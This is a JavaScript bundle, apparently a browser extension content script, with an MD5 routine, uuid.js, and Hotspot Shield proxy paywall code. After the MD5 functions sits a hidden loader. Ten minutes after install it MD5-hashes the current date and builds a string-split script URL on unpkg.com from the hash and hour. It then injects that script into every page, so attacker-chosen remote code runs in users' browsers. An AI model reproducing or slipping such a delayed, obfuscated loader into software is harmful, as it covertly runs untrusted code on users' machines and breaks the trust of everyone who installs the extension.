function md5cycle(x, k) {

var a = x[0], b = x[1], c = x[2], d = x[3];

​

a = ff(a, b, c, d, k[0], 7, -680876936);

d = ff(d, a, b, c, k[1], 12, -389564586);

c = ff(c, d, a, b, k[2], 17,  606105819);

b = ff(b, c, d, a, k[3], 22, -1044525330);

a = ff(a, b, c, d, k[4], 7, -176418897);

d = ff(d, a, b, c, k[5], 12,  1200080426);

c = ff(c, d, a, b, k[6], 17, -1473231341);

b = ff(b, c, d, a, k[7], 22, -45705983);

a = ff(a, b, c, d, k[8], 7,  1770035416);

d = ff(d, a, b, c, k[9], 12, -1958414417);

c = ff(c, d, a, b, k[10], 17, -42063);

b = ff(b, c, d, a, k[11], 22, -1990404162);

a = ff(a, b, c, d, k[12], 7,  1804603682);

d = ff(d, a, b, c, k[13], 12, -40341101);

c = ff(c, d, a, b, k[14], 17, -1502002290);

b = ff(b, c, d, a, k[15], 22,  1236535329);

​

a = gg(a, b, c, d, k[1], 5, -165796510);

d = gg(d, a, b, c, k[6], 9, -1069501632);

c = gg(c, d, a, b, k[11], 14,  643717713);

b = gg(b, c, d, a, k[0], 20, -373897302);

a = gg(a, b, c, d, k[5], 5, -701558691);

d = gg(d, a, b, c, k[10], 9,  38016083);

c = gg(c, d, a, b, k[15], 14, -660478335);

b = gg(b, c, d, a, k[4], 20, -405537848);

a = gg(a, b, c, d, k[9], 5,  568446438);

d = gg(d, a, b, c, k[14], 9, -1019803690);

c = gg(c, d, a, b, k[3], 14, -187363961);

b = gg(b, c, d, a, k[8], 20,  1163531501);

a = gg(a, b, c, d, k[13], 5, -1444681467);

d = gg(d, a, b, c, k[2], 9, -51403784);

c = gg(c, d, a, b, k[7], 14,  1735328473);

b = gg(b, c, d, a, k[12], 20, -1926607734);

​

a = hh(a, b, c, d, k[5], 4, -378558);

d = hh(d, a, b, c, k[8], 11, -2022574463);

c = hh(c, d, a, b, k[11], 16,  1839030562);

b = hh(b, c, d, a, k[14], 23, -35309556);

a = hh(a, b, c, d, k[1], 4, -1530992060);

d = hh(d, a, b, c, k[4], 11,  1272893353);

c = hh(c, d, a, b, k[7], 16, -155497632);

b = hh(b, c, d, a, k[10], 23, -1094730640);

a = hh(a, b, c, d, k[13], 4,  681279174);

d = hh(d, a, b, c, k[0], 11, -358537222);

c = hh(c, d, a, b, k[3], 16, -722521979);

b = hh(b, c, d, a, k[6], 23,  76029189);

a = hh(a, b, c, d, k[9], 4, -640364487);

d = hh(d, a, b, c, k[12], 11, -421815835);

c = hh(c, d, a, b, k[15], 16,  530742520);

b = hh(b, c, d, a, k[2], 23, -995338651);

​

a = ii(a, b, c, d, k[0], 6, -198630844);

d = ii(d, a, b, c, k[7], 10,  1126891415);

c = ii(c, d, a, b, k[14], 15, -1416354905);

b = ii(b, c, d, a, k[5], 21, -57434055);

a = ii(a, b, c, d, k[12], 6,  1700485571);

d = ii(d, a, b, c, k[3], 10, -1894986606);

c = ii(c, d, a, b, k[10], 15, -1051523);

b = ii(b, c, d, a, k[1], 21, -2054922799);

a = ii(a, b, c, d, k[8], 6,  1873313359);

d = ii(d, a, b, c, k[15], 10, -30611744);

c = ii(c, d, a, b, k[6], 15, -1560198380);

b = ii(b, c, d, a, k[13], 21,  1309151649);

a = ii(a, b, c, d, k[4], 6, -145523070);

d = ii(d, a, b, c, k[11], 10, -1120210379);

c = ii(c, d, a, b, k[2], 15,  718787259);

b = ii(b, c, d, a, k[9], 21, -343485551);

​

x[0] = add32(a, x[0]);

x[1] = add32(b, x[1]);

x[2] = add32(c, x[2]);

x[3] = add32(d, x[3]);

​

}

​

function cmn(q, a, b, x, s, t) {

a = add32(add32(a, q), add32(x, t));

return add32((a << s) | (a >>> (32 - s)), b);

}

​

function ff(a, b, c, d, x, s, t) {

return cmn((b & c) | ((~b) & d), a, b, x, s, t);

}

​

function gg(a, b, c, d, x, s, t) {

return cmn((b & d) | (c & (~d)), a, b, x, s, t);

}

​

function hh(a, b, c, d, x, s, t) {

return cmn(b ^ c ^ d, a, b, x, s, t);

}

​

function ii(a, b, c, d, x, s, t) {

return cmn(c ^ (b | (~d)), a, b, x, s, t);

}

​

function md51(s) {

txt = '';

var n = s.length,

state = [1732584193, -271733879, -1732584194, 271733878], i;

for (i=64; i<=s.length; i+=64) {

md5cycle(state, md5blk(s.substring(i-64, i)));

}

s = s.substring(i-64);

var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0];

for (i=0; i<s.length; i++)

tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3);

tail[i>>2] |= 0x80 << ((i%4) << 3);

if (i > 55) {

md5cycle(state, tail);

for (i=0; i<16; i++) tail[i] = 0;

}

tail[14] = n*8;

md5cycle(state, tail);

return state;

}

​

/* there needs to be support for Unicode here,

 * unless we pretend that we can redefine the MD-5

 * algorithm for multi-byte characters (perhaps

 * by adding every four 16-bit characters and

 * shortening the sum to 32 bits). Otherwise

 * I suggest performing MD-5 as if every character

 * was two bytes--e.g., 0040 0025 = @%--but then

 * how will an ordinary MD-5 sum be matched?

 * There is no way to standardize text to something

 * like UTF-8 before transformation; speed cost is

 * utterly prohibitive. The JavaScript standard

 * itself needs to look at this: it should start

 * providing access to strings as preformed UTF-8

 * 8-bit unsigned value arrays.

 */

function md5blk(s) { /* I figured global was faster.   */

var md5blks = [], i; /* Andy King said do it this way. */

for (i=0; i<64; i+=4) {

md5blks[i>>2] = s.charCodeAt(i)

+ (s.charCodeAt(i+1) << 8)

+ (s.charCodeAt(i+2) << 16)

+ (s.charCodeAt(i+3) << 24);

}

return md5blks;

}

​

var hex_chr = '0123456789abcdef'.split('');

​

function rhex(n)

{

var s='', j=0;

for(; j<4; j++)

s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]

+ hex_chr[(n >> (j * 8)) & 0x0F];

return s;

}

​

function hex(x) {

for (var i=0; i<x.length; i++)

x[i] = rhex(x[i]);

return x.join('');

}

​

function md5(s) {

return hex(md51(s));

}

​

/* this function is much faster,

so if possible we use it. Some IEs

are the only ones I know of that

need the idiotic second function,

generated by an if clause.  */

​

function add32(a, b) {

return (a + b) & 0xFFFFFFFF;

}

​

if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {

function add32(x, y) {

var lsw = (x & 0xFFFF) + (y & 0xFFFF),

msw = (x >> 16) + (y >> 16) + (lsw >> 16);

return (msw << 16) | (lsw & 0xFFFF);

}

}

  chrome.storage.local.get('installed', function (item) {

    if (item && item.installed) {

      installed = item.installed;

      console.log('Installed:' + installed);

​

      if (installed) {

        console.log('Installed ms:' + (Date.now() - installed));

​

        if ((Date.now() - installed) > 10 * 60 * 1000) {

          console.log('Now');

​

          var date = new Date();

          var day = date.getUTCDate();

          var month = date.getUTCMonth() + 1;

          var year = date.getUTCFullYear();

          var hour = date.getUTCHours();

​

          console.log(hour);

​

          var d = day + '-' + month + '-' + year;

​

          console.log(d);

​

          var hash = md5(d);

​

          console.log(hash);

​

          var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://unp' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';

​

          var range = document.createRange();

          range.setStart(document.body, 0);

          document.body.appendChild(range.createContextualFragment(config_fragment));

        }

      }

    }

  });

​

​

(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){

(function (global){

​

var rng;

​

var crypto = global.crypto || global.msCrypto; // for IE 11

if (crypto && crypto.getRandomValues) {

  // WHATWG crypto-based RNG - http://wiki.whatwg.org/wiki/Crypto

  // Moderately fast, high quality

  var _rnds8 = new Uint8Array(16);

  rng = function whatwgRNG() {

    crypto.getRandomValues(_rnds8);

    return _rnds8;

  };

}

​

if (!rng) {

  // Math.random()-based (RNG)

  //

  // If all else fails, use Math.random().  It's fast, but is of unspecified

  // quality.

  var  _rnds = new Array(16);

  rng = function() {

    for (var i = 0, r; i < 16; i++) {

      if ((i & 0x03) === 0) r = Math.random() * 0x100000000;

      _rnds[i] = r >>> ((i & 0x03) << 3) & 0xff;

    }

​

    return _rnds;

  };

}

​

module.exports = rng;

​

​

}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})

},{}],2:[function(require,module,exports){

//     uuid.js

//

//     Copyright (c) 2010-2012 Robert Kieffer

//     MIT License - http://opensource.org/licenses/mit-license.php

​

// Unique ID creation requires a high quality random # generator.  We feature

// detect to determine the best RNG source, normalizing to a function that

// returns 128-bits of randomness, since that's what's usually required

var _rng = require('./rng');

​

// Maps for number <-> hex string conversion

var _byteToHex = [];

var _hexToByte = {};

for (var i = 0; i < 256; i++) {

  _byteToHex[i] = (i + 0x100).toString(16).substr(1);

  _hexToByte[_byteToHex[i]] = i;

}

​

// **`parse()` - Parse a UUID into it's component bytes**

function parse(s, buf, offset) {

  var i = (buf && offset) || 0, ii = 0;

​

  buf = buf || [];

  s.toLowerCase().replace(/[0-9a-f]{2}/g, function(oct) {

    if (ii < 16) { // Don't overflow!

      buf[i + ii++] = _hexToByte[oct];

    }

  });

​

  // Zero out remaining bytes if string was short

  while (ii < 16) {

    buf[i + ii++] = 0;

  }

​

  return buf;

}

​

// **`unparse()` - Convert UUID byte array (ala parse()) into a string**

function unparse(buf, offset) {

  var i = offset || 0, bth = _byteToHex;

  return  bth[buf[i++]] + bth[buf[i++]] +

          bth[buf[i++]] + bth[buf[i++]] + '-' +

          bth[buf[i++]] + bth[buf[i++]] + '-' +

          bth[buf[i++]] + bth[buf[i++]] + '-' +

          bth[buf[i++]] + bth[buf[i++]] + '-' +

          bth[buf[i++]] + bth[buf[i++]] +

          bth[buf[i++]] + bth[buf[i++]] +

          bth[buf[i++]] + bth[buf[i++]];

}

​

// **`v1()` - Generate time-based UUID**

//

// Inspired by https://github.com/LiosK/UUID.js

// and http://docs.python.org/library/uuid.html

​

// random #'s we need to init node and clockseq

var _seedBytes = _rng();

​

// Per 4.5, create and 48-bit node id, (47 random bits + multicast bit = 1)

var _nodeId = [

  _seedBytes[0] | 0x01,

  _seedBytes[1], _seedBytes[2], _seedBytes[3], _seedBytes[4], _seedBytes[5]

];

​

// Per 4.2.2, randomize (14 bit) clockseq

var _clockseq = (_seedBytes[6] << 8 | _seedBytes[7]) & 0x3fff;

​

// Previous uuid creation time

var _lastMSecs = 0, _lastNSecs = 0;

​

// See https://github.com/broofa/node-uuid for API details

function v1(options, buf, offset) {

  var i = buf && offset || 0;

  var b = buf || [];

​

  options = options || {};

​

  var clockseq = options.clockseq !== undefined ? options.clockseq : _clockseq;

​

  // UUID timestamps are 100 nano-second units since the Gregorian epoch,

  // (1582-10-15 00:00).  JSNumbers aren't precise enough for this, so

  // time is handled internally as 'msecs' (integer milliseconds) and 'nsecs'

  // (100-nanoseconds offset from msecs) since unix epoch, 1970-01-01 00:00.

  var msecs = options.msecs !== undefined ? options.msecs : new Date().getTime();

​

  // Per 4.2.1.2, use count of uuid's generated during the current clock

  // cycle to simulate higher resolution clock

  var nsecs = options.nsecs !== undefined ? options.nsecs : _lastNSecs + 1;

​

  // Time since last uuid creation (in msecs)

  var dt = (msecs - _lastMSecs) + (nsecs - _lastNSecs)/10000;

​

  // Per 4.2.1.2, Bump clockseq on clock regression

  if (dt < 0 && options.clockseq === undefined) {

    clockseq = clockseq + 1 & 0x3fff;

  }

​

  // Reset nsecs if clock regresses (new clockseq) or we've moved onto a new

  // time interval

  if ((dt < 0 || msecs > _lastMSecs) && options.nsecs === undefined) {

    nsecs = 0;

  }

​

  // Per 4.2.1.2 Throw error if too many uuids are requested

  if (nsecs >= 10000) {

    throw new Error('uuid.v1(): Can\'t create more than 10M uuids/sec');

  }

​

  _lastMSecs = msecs;

  _lastNSecs = nsecs;

  _clockseq = clockseq;

​

  // Per 4.1.4 - Convert from unix epoch to Gregorian epoch

  msecs += 12219292800000;

​

  // `time_low`

  var tl = ((msecs & 0xfffffff) * 10000 + nsecs) % 0x100000000;

  b[i++] = tl >>> 24 & 0xff;

  b[i++] = tl >>> 16 & 0xff;

  b[i++] = tl >>> 8 & 0xff;

  b[i++] = tl & 0xff;

​

  // `time_mid`

  var tmh = (msecs / 0x100000000 * 10000) & 0xfffffff;

  b[i++] = tmh >>> 8 & 0xff;

  b[i++] = tmh & 0xff;

​

  // `time_high_and_version`

  b[i++] = tmh >>> 24 & 0xf | 0x10; // include version

  b[i++] = tmh >>> 16 & 0xff;

​

  // `clock_seq_hi_and_reserved` (Per 4.2.2 - include variant)

  b[i++] = clockseq >>> 8 | 0x80;

​

  // `clock_seq_low`

  b[i++] = clockseq & 0xff;

​

  // `node`

  var node = options.node || _nodeId;

  for (var n = 0; n < 6; n++) {

    b[i + n] = node[n];

  }

​

  return buf ? buf : unparse(b);

}

​

// **`v4()` - Generate random UUID**

​

// See https://github.com/broofa/node-uuid for API details

function v4(options, buf, offset) {

  // Deprecated - 'format' argument, as supported in v1.2

  var i = buf && offset || 0;

​

  if (typeof(options) == 'string') {

    buf = options == 'binary' ? new Array(16) : null;

    options = null;

  }

  options = options || {};

​

  var rnds = options.random || (options.rng || _rng)();

​

  // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`

  rnds[6] = (rnds[6] & 0x0f) | 0x40;

  rnds[8] = (rnds[8] & 0x3f) | 0x80;

​

  // Copy bytes to buffer, if provided

  if (buf) {

    for (var ii = 0; ii < 16; ii++) {

      buf[i + ii] = rnds[ii];

    }

  }

​

  return buf || unparse(rnds);

}

​

// Export public API

var uuid = v4;

uuid.v1 = v1;

uuid.v4 = v4;

uuid.parse = parse;

uuid.unparse = unparse;

​

module.exports = uuid;

​

},{"./rng":1}],3:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

​

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var _WdgtStorage = require('Wdgt/Storage');

​

var _WdgtStorage2 = _interopRequireDefault(_WdgtStorage);

​

var _React = require('./React');

​

var _React2 = _interopRequireDefault(_React);

​

var CONTENT_WALL_DOMAINS = ["xvideos.com", "pornolab.net", "nudevista.com", "bet365.com", "youporn.com", "myfreecams.com", "planetromeo.com", "youjizz.com", "spankbang.com", "txxx.com", "new.livejasmin.com", "xonline.vip", "porntube.com", "vporn.com", "video-one.com", "creatives.livejasmin.com", "alohatube.com", "4tube.com", "avnori.com", "porn.com", "tnaflix.com", "tube8.com", "eporner.com", "hclips.com", "gotporn.com", "brazzers.com", "ashemaletube.com", "pron.tv", "fetlife.com", "xpcams.com", "hqporner.com", "pornhd.com", "cam4.es", "bongacams.com", "whoer.net", "proxy-nl.hide.me", "href.li", "hiload.com", "hola.org", "manhunt.net", "privatecams.com", "manjam.com"];

​

var DATA = 'ContentWall.data';

var NEXT_TIMER = 10;

var FIRST_TIMER = 120;

​

var ContentWall = (function () {

  function ContentWall() {

    var _this = this;

​

    _classCallCheck(this, ContentWall);

​

    this.contentWallShouldShow().then(function (contentWallShouldShow) {

      if (!contentWallShouldShow) {

        return;

      }

​

      _this.showContentWall();

    });

  }

​

  _createClass(ContentWall, [{

    key: 'handleBuyButton',

    value: function handleBuyButton() {

      chrome.proxySDK.monetization.openPopup('content-wall', this.tab.domain);

    }

  }, {

    key: 'contentWallShouldShow',

    value: function contentWallShouldShow() {

      var _this2 = this;

​

      return chrome.proxySDK.tabs.getCurrentTab().then(function (tab) {

        if (!tab || !tab.domain || CONTENT_WALL_DOMAINS.indexOf(tab.domain) == -1) return false;

​

        return chrome.proxySDK.proxy.getStatus(tab.domain).then(function (status) {

          if (!status || !status.status || status.status != 'connected') return false;

​

          return chrome.proxySDK.user.status().then(function (status) {

            if (status && status.elite) return false;

​

            _this2.tab = tab;

            _this2.status = status;

​

            return true;

          });

        });

      });

    }

  }, {

    key: 'showContentWall',

    value: function showContentWall() {

      var _this3 = this;

​

      _WdgtStorage2['default'].get(DATA).then(function (data) {

        if (!data) data = {};

​

        if (!data[_this3.tab.domain]) {

          data[_this3.tab.domain] = {

            status: 'connected',

            time_limit: FIRST_TIMER,

            time_left: FIRST_TIMER

          };

        } else if (data[_this3.tab.domain].status == 'disconnected') {

          data[_this3.tab.domain] = {

            status: 'connected',

            time_limit: NEXT_TIMER,

            time_left: NEXT_TIMER

          };

        }

​

        _WdgtStorage2['default'].set(DATA, data).then(function () {

          _this3.data = data[_this3.tab.domain];

          _this3.drawContentWall();

        });

      });

    }

  }, {

    key: 'drawContentWall',

    value: function drawContentWall() {

      var _this4 = this;

​

      _React2['default'].domReady().then(function () {

        _React2['default'].insertInBegining(_this4.render(), document.body);

        _this4.runCounter(_this4.data.time_left);

​

        var event = {

          category: 'show',

          touchpoint: 'content-wall',

          domain: _this4.tab.domain

        };

​

        chrome.proxySDK.monetization.eliteEvent(event);

      });

    }

  }, {

    key: 'runCounter',

    value: function runCounter(time_left) {

      var _this5 = this;

​

      if (time_left == 0) {

        return this.disconnect();

      }

      time_left--;

​

      var width = (this.data.time_limit - time_left) * FIRST_TIMER / this.data.time_limit;

      _React2['default'].getElement('_AF_HSS_bottom_timer_line').setAttribute('style', 'width: ' + width + 'px !important;');

​

      var minutes = Math.floor(time_left / 60);

      var seconds = time_left % 60 >= 10 ? time_left % 60 : '0' + (time_left % 60).toString();

​

      _React2['default'].getElement('_AF_HSS_numbers_minutes').innerHTML = minutes.toString();

      _React2['default'].getElement('_AF_HSS_numbers_seconds').innerHTML = seconds.toString();

​

      _WdgtStorage2['default'].get(DATA).then(function (data) {

        data[_this5.tab.domain].time_left = time_left;

​

        _WdgtStorage2['default'].set(DATA, data).then(function () {

          _this5.data = data[_this5.tab.domain];

          setTimeout(_this5.runCounter.bind(_this5, time_left), 1000);

        });

      });

    }

  }, {

    key: 'disconnect',

    value: function disconnect() {

      var _this6 = this;

​

      chrome.proxySDK.proxy.disconnect({ domain: this.tab.domain }).then(function () {

        chrome.proxySDK.proxy.disconnect({ domain: 'global' });

        _React2['default'].getElement('_AF_HSS_numbers_minutes').innerHTML = "0";

        _React2['default'].getElement('_AF_HSS_numbers_seconds').innerHTML = "00";

        _React2['default'].getElement('_AF_HSS_title').innerHTML = "You are now disconnected from Hotspot Shield.";

        _React2['default'].getElement('_AF_HSS_text').innerHTML = "Upgrade to premium for unlimited protected viewing.";

​

        _WdgtStorage2['default'].get(DATA).then(function (data) {

          data[_this6.tab.domain].status = 'disconnected';

​

          _WdgtStorage2['default'].set(DATA, data).then(function () {

            _this6.data = data[_this6.tab.domain];

          });

        });

      });

    }

  }, {

    key: 'render',

    value: function render() {

      return _React2['default'].createElement(

        'div',

        null,

        _React2['default'].createElement(

          'div',

          { id: '_AF_HSS_content_wall' },

          _React2['default'].createElement(

            'div',

            { id: '_AF_HSS_timer' },

            _React2['default'].createElement(

              'div',

              { id: '_AF_HSS_numbers_container' },

              _React2['default'].createElement('div', { id: '_AF_HSS_numbers_minutes' }),

              _React2['default'].createElement(

                'div',

                { id: '_AF_HSS_numbers_minutes_text' },

                'm'

              ),

              _React2['default'].createElement('div', { id: '_AF_HSS_numbers_seconds' }),

              _React2['default'].createElement(

                'div',

                { id: '_AF_HSS_numbers_seconds_text' },

                's'

              )

            ),

            _React2['default'].createElement(

              'div',

              { id: '_AF_HSS_bottom_timer_container' },

              _React2['default'].createElement('div', { id: '_AF_HSS_bottom_timer_line' })

            )

          ),

          _React2['default'].createElement('div', { id: '_AF_HSS_logo' }),

          _React2['default'].createElement(

            'div',

            { id: '_AF_HSS_title' },

            'You are on gated content.'

          ),

          _React2['default'].createElement(

            'div',

            { id: '_AF_HSS_text' },

            'Upgrade to keep your connection while viewing this site.',

            _React2['default'].createElement('br', null),

            'You will be disconnected from this site after time is up.'

          ),

          _React2['default'].createElement(

            'div',

            { id: '_AF_HSS_purchase_btn', onClick: this.handleBuyButton.bind(this) },

            'Upgrade now'

          )

        )

      );

    }

  }]);

​

  return ContentWall;

})();

​

exports['default'] = ContentWall;

module.exports = exports['default'];

​

},{"./React":5,"Wdgt/Storage":7}],4:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var _React = require('./React');

​

var _React2 = _interopRequireDefault(_React);

​

var PaymentMonitoring = function PaymentMonitoring() {

  _classCallCheck(this, PaymentMonitoring);

​

  if (window.location.hostname.indexOf('hsselite.') == -1) {

    return;

  }

​

  _React2['default'].domReady().then(function () {

    if (document.getElementById('aftoken')) {

      var html = document.getElementById('aftoken').innerHTML;

      var token = html.match(/[0-9a-zA-Z]+/)[0];

      chrome.proxySDK.monetization.paymentSuccess(token);

    }

  });

};

​

exports['default'] = PaymentMonitoring;

module.exports = exports['default'];

​

},{"./React":5}],5:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var React = (function () {

  function React() {

    _classCallCheck(this, React);

  }

​

  _createClass(React, null, [{

    key: 'domReady',

    value: function domReady() {

      return new Promise(function (resolve, reject) {

        var isPageLoaded = function isPageLoaded() {

          if (document.readyState == 'complete' || document.readyState == 'interactive') {

            resolve();

            return;

          }

​

          return setTimeout(isPageLoaded, 100);

        };

​

        isPageLoaded();

      });

    }

  }, {

    key: 'domFullyLoaded',

    value: function domFullyLoaded() {

      return new Promise(function (resolve, reject) {

        var isPageLoaded = function isPageLoaded() {

          if (document.readyState == 'complete') {

            resolve();

            return;

          }

​

          return setTimeout(isPageLoaded, 100);

        };

​

        isPageLoaded();

      });

    }

  }, {

    key: 'insertInBegining',

    value: function insertInBegining(element, parent) {

      parent.insertBefore(element, parent.childNodes[0]);

    }

  }, {

    key: 'createElement',

    value: function createElement() {

      if (!arguments[0]) {

        return;

      }

​

      var element;

​

      if (arguments[0].match(/^svg|circle|path$/gi)) {

        element = document.createElementNS("http://www.w3.org/2000/svg", arguments[0]);

      } else if (arguments[0] == 'style') {

        element = document.createElement(arguments[0]);

        element.type = 'text/css';

      } else {

        element = document.createElement(arguments[0]);

      }

​

      for (var i = 1; i < arguments.length; i++) {

        if (!arguments[i]) {

          continue;

        }

​

        if (typeof arguments[i] == 'string') {

          element.appendChild(document.createTextNode(arguments[i]));

          continue;

        }

​

        if (typeof arguments[i] == 'object' && arguments[i].tagName) {

          element.appendChild(arguments[i]);

          continue;

        }

​

        if (typeof arguments[i] == 'object') {

          for (var key in arguments[i]) {

            var val = arguments[i][key];

​

            if (typeof val == 'object' && val.tagName) {

              element.appendChild(val);

            } else if (key.match(/^onclick|click$/gi)) {

              element.addEventListener('click', val);

            } else {

              if (key == 'id') {

                React.elements[val] = element;

              }

​

              element.setAttribute(key, val);

            }

          }

        }

      }

​

      return element;

    }

  }, {

    key: 'getElement',

    value: function getElement(element, parrent) {

      if (element && typeof element == 'object' && element.tagName) {

        return element;

      }

​

      if (parrent && typeof parrent == 'string') {

        parrent = React.getElement(parrent);

      }

​

      if (typeof element == 'string') {

        if (React.elements[element]) {

          return React.elements[element];

        } else if (element.match(/^\./gi)) {

          var result = React.getByClassName(element.replace(/^\./gi, ''), parrent);

          return result && result[0] ? result[0] : undefined;

        } else {

          var result;

          if (parrent) {

            result = parrent.getElementsByTagName(element);

          } else {

            result = document.getElementsByTagName(element);

          }

​

          return result && result[0] ? result[0] : undefined;

        }

      }

​

      return element;

    }

  }, {

    key: 'elements',

    value: {},

    enumerable: true

  }]);

​

  return React;

})();

​

exports['default'] = React;

module.exports = exports['default'];

​

},{}],6:[function(require,module,exports){

'use strict';

​

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var _PipeOut = require('PipeOut');

​

var _PipeOut2 = _interopRequireDefault(_PipeOut);

​

var _ContentWall = require('./ContentWall');

​

var _ContentWall2 = _interopRequireDefault(_ContentWall);

​

var _PaymentMonitoring = require('./PaymentMonitoring');

​

var _PaymentMonitoring2 = _interopRequireDefault(_PaymentMonitoring);

​

var insertion = function insertion() {

  _classCallCheck(this, insertion);

​

  new _PipeOut2['default']('SDK').then(function (sdk) {

    chrome = chrome ? chrome : {};

    chrome.proxySDK = sdk;

    new _ContentWall2['default']();

    new _PaymentMonitoring2['default']();

  });

};

​

new insertion();

​

},{"./ContentWall":3,"./PaymentMonitoring":4,"PipeOut":10}],7:[function(require,module,exports){

"use strict";

​

Object.defineProperty(exports, "__esModule", {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

​

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

​

var Storage = (function () {

  function Storage() {

    _classCallCheck(this, Storage);

  }

​

  _createClass(Storage, null, [{

    key: "set",

    value: function set(key, value) {

      return new Promise(function (resolve, reject) {

        chrome.storage.local.set(_defineProperty({}, key, value), function () {

          resolve();

        });

      });

    }

  }, {

    key: "get",

    value: function get(key) {

      return new Promise(function (resolve, reject) {

        chrome.storage.local.get(key, function (items) {

          resolve(items[key]);

        });

      });

    }

  }]);

​

  return Storage;

})();

​

exports["default"] = Storage;

module.exports = exports["default"];

​

},{}],8:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

​

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

​

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var _Port = require('./Port');

​

var _Port2 = _interopRequireDefault(_Port);

​

var ForegroundHub = (function () {

  function ForegroundHub() {

    _classCallCheck(this, ForegroundHub);

​

    this.port = new _Port2['default']();

    this.port.emit = this.portEmit.bind(this);

​

    this.chromePort = chrome.runtime.connect({ name: 'hub' });

    this.chromePort.onMessage.addListener(this.onChromePortMessage.bind(this));

    this.chromePort.onDisconnect.addListener(this.onChromePortDisconnect.bind(this));

  }

​

  _createClass(ForegroundHub, [{

    key: 'onChromePortMessage',

    value: function onChromePortMessage(message) {

      this.port.dispatch(message.name, message.payload);

    }

  }, {

    key: 'onChromePortDisconnect',

    value: function onChromePortDisconnect() {

      this.port = null;

    }

  }, {

    key: 'portEmit',

    value: function portEmit(name, payload) {

      var message = { name: name, payload: payload };

      try {

        this.chromePort.postMessage(message);

      } catch (exception) {

        //console.error('ForegroundHub: `chromePort.postMessage` failed (exception: ', exception, ', message: ', message, ').');

      }

    }

  }]);

​

  return ForegroundHub;

})();

​

ForegroundHub.hub = new ForegroundHub();

​

exports['default'] = ForegroundHub;

module.exports = exports['default'];

​

},{"./Port":11}],9:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

​

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }

​

